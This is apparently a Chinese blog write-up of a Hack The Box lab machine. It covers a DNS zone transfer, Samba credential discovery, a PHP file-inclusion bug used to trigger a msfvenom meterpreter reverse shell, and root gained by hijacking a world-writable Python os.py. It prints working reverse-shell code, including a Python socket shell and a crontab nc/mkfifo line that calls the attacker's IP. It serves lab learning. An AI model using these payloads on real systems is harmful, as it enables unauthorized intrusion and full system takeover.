大白又来了,先容我膜拜一波自家师兄S0cke3t的CS插件,大佬牛逼(破音)
这次还是一个当时没有日穿的靶机,不过看官方writeup来说,我们距离拿下靶机只差了一步,还是too young,too simple 啊!
国际惯例,端口扫描走一波,这个靶机的端口就比较有意思了,首先开放了53端口,也就是说开放了域名解析的功能,那么联想到域传送的漏洞,估计会利用到。其次开放了文件共享服务Samba和vsftpd,在web方面开放了80,443端口,可以说端口开放的比较多了。
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.123 |grep '^[0-9].*open'|cut -d '/' -f 1|tr 'n' ','|sed s/,$//)nmap -sC -sV -p $ports 10.10.10.123 |
---|
那么我们一步一步来,首先看看是否存在DNS区域传送漏洞。
DNS服务器分为:主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。我们就可以拿到该DNS服务器所解析的域名。上面端口扫描时发现了ssl证书提供的域名为friendzone.red,那么我们用这个域名测试域传送漏洞
dig axfr @10.10.10.123 friendzone.red |
---|
子域名到手,直接丢到hosts文件里
接下来再看一眼这个文件共享的服务,vsftpd并没有匿名访问,该版本也不存在后门,没有想到如何利用,枚举一下smaba服务,看是否存在弱口令。
enum4linux 10.10.10.123 |
---|
拿到了两个可直接访问的文件共享服务,我们登上去看一下,general目录下无法上传文件,但存在一个creds.txt文件,下载下来查看后发现是admin的用户凭证,那么联想到我们刚才得到的子域名中有一个administrator1.friendzone.red域名,估计是用在这个上的。
另外一个Development目录,登上去发现可以上传文件,但当前无任何内容。
首先用目录爆破工具DirBuster扫一下目录。
扫描目录发现几个有趣的url,login.php、dashboard.php和timestamp.php。
访问这几个页面,提示如下信息。
那我们使用获得的账号密码登陆看看
页面给出了提示,这个页面需要几个参数,并给出了默认的参数使用默认参数访问后发现如下页面
Ok,那能够看出来了,因为参数包含了一个pagename=timestamp,而我们扫出来的目录中也包含这个timestamp.php,并且通过返回页面判断,dashboard.php页面应该是根据参数中提供的文件去包含那个文件,并解析执行了其中的代码,那么我们在测试一下,将参数改为login
返回结果为wrong,与上面一致,证实了我们的猜测。
那么我们只要能够上传一个php文件,使用dashboard页面解析执行其中的代码,便能够执行系统命令,这里我们使用msf框架生成一个php的meterpreter的shell文件,只要解析执行了其中的代码,便能反弹一个shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4321 -f raw >revshell.php |
---|
那么问题来了,怎么知道这个文件的上传路径呢,我们当时便是卡在了这一步,由于不知道文件上传的绝对路径,没法利用dashboard.php触发我们的反弹shell,其实这里的路径还是需要一点小小的猜测,在最开始枚举samba服务的时候,我们除了发现了general和Development两个文件夹外,还发现了Files文件夹,在后面给出了Files文件夹的绝对路径/etc/Files/,那么我们可以猜测上传的文件路径为/etc/Development/
打开msfconsole监听反弹shell
use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 10.10.14.3set lport 4321exploit |
---|
成功得到反弹shell,访问用户路径下便可以看到user.txt
接下来就是提权的过程了,首先还是上脚本https://github.com/rebootuser/LinEnum,这个脚本可以枚举系统中可能被利用来提权的一些信息,-t参数表示进行全面冗长的枚举。
./LinEnum.sh -t |
---|
在众多输出的信息中,这里这个文件十分有趣,系统提供了一个权限为777的os.py,也就意味着我们低权限用户也能够修改这个文件,然而这个文件是python2.7自带的库文件,在python运行时会默认import这个文件,也就是说,如果我们修改了其中的代码,root用户在使用任何python文件时均会执行我们修改的代码,这种攻击方式又被叫做模块劫持(module hijacking)
ok,问题又来了,如何让root用户执行python程序呢,既然靶机给了这个777的文件,应该会有相应的方式触发才对,我们先枚举一下进程,这里使用了pspy这个工具,https://github.com/DominicBreuker/pspy,这个工具可以无需root权限来枚举正在执行的进程,并持续进行监测。
果然,系统中每两分钟便会执行一次python脚本,让我们看一下这个reporter.py,脚本也import了os.py,那么更加印证了我们的猜测。
那我们只需要将反弹shell的代码插入到os.py中,在定时任务触发时,我们便能获取到反弹shell了。
import socket,subprocessHOST = '10.10.14.3' # The remote hostPORT = 9999 # The same port as used by the servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# connect to attacker machines.connect((HOST, PORT))# send we are connecteds.send('[*] Connection Established!')# start loopwhile 1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == 'quit': break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value)# close sockets.close() |
---|
因为无法使用交互式的文本编辑器,那么我们直接echo”””{代码段}”””>>os.py中就可以了
等待两分钟,一切索然无味。
官方的writeup中也给出了另一种方法,将以下代码插入到了os.py中
shell = '''* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc10.10.16.32 4444 >/tmp/f'''f = open('/etc/crontab', 'a')f.write(shell)f.close() |
---|
通过定时任务的方式来获取shell,也是一种不错的方法。
这个靶机主要考察了枚举的能力,很多信息都是通过枚举获得的,如果稍不注意就会漏掉一些关键信息,比如通过443端口枚举主域名,通过Samba服务枚举时得到的绝对路径。
但是这个靶机还是比较脱离现实环境的,毕竟不会有人把python的库文件设置成777权限,不过思路还是值得学习一下,类似Postgresql的CVE-2018-1058远程代码执行漏洞,均是一个原理。